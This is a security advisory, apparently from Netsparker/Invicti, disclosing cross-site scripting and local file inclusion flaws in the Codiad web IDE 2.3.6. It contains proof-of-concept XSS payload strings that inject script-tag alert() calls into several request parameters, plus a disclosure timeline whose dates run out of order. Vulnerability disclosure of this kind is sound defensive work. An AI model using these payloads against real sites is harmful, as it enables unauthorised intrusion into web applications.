Advisory by Netsparker (now Invicti)
Name: LFI & XSS Vulnerability in Codiad
Software: Codiad 2.3.6 and possibly below.
Vendor Homepage:
Vulnerability Type: Cross-site Scripting and Local File Inclusion
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-029

Codiad is a web-based IDE framework with a small footprint and minimal requirements. The system is still early in development, and while it has been proven extremely stable please be sure have a backup system if you use it in any production work.

Codiad is affected by XSS & LFI vulnerability 2.3.6.

Codiad PoC urls are as follows :

  • Cross-site Scripting'"--></style></scRipt><scRipt>alert(0x0020FF)</scRipt>&note=undefined'"--></style></scRipt><scRipt>alert(0x00211E)</scRipt>'"--></style></scRipt><scRipt>alert(0x00201A)</scRipt>'"--></style></scRipt><scRipt>alert(0x002BDC)</scRipt>&name=undefined&project_path=3&project_name=undefined'"--></style></scRipt><scRipt>alert(0x002B57)</scRipt>&path=3&object_name=Smith'"--></style></scRipt><scRipt>alert(0x002100)</scRipt>'"--></style></scRipt><scRipt>alert(0x002BDD)</scRipt>&project_path=3&project_name=undefined'"--></style></scRipt><scRipt>alert(0x00203C)</scRipt>

  • Local File Inclusion

You can read the full article about XSS and LFI vulnerabilities from here :

Advisory Timeline
25/06/2014 - First Contact
07/06/2014 - Second Contact
20/08/2014 - Advisory released

It has been discovered on testing of Invicti Web Application Security Scanner.

About Netsparker
Netsparker® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Invicti’s unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner.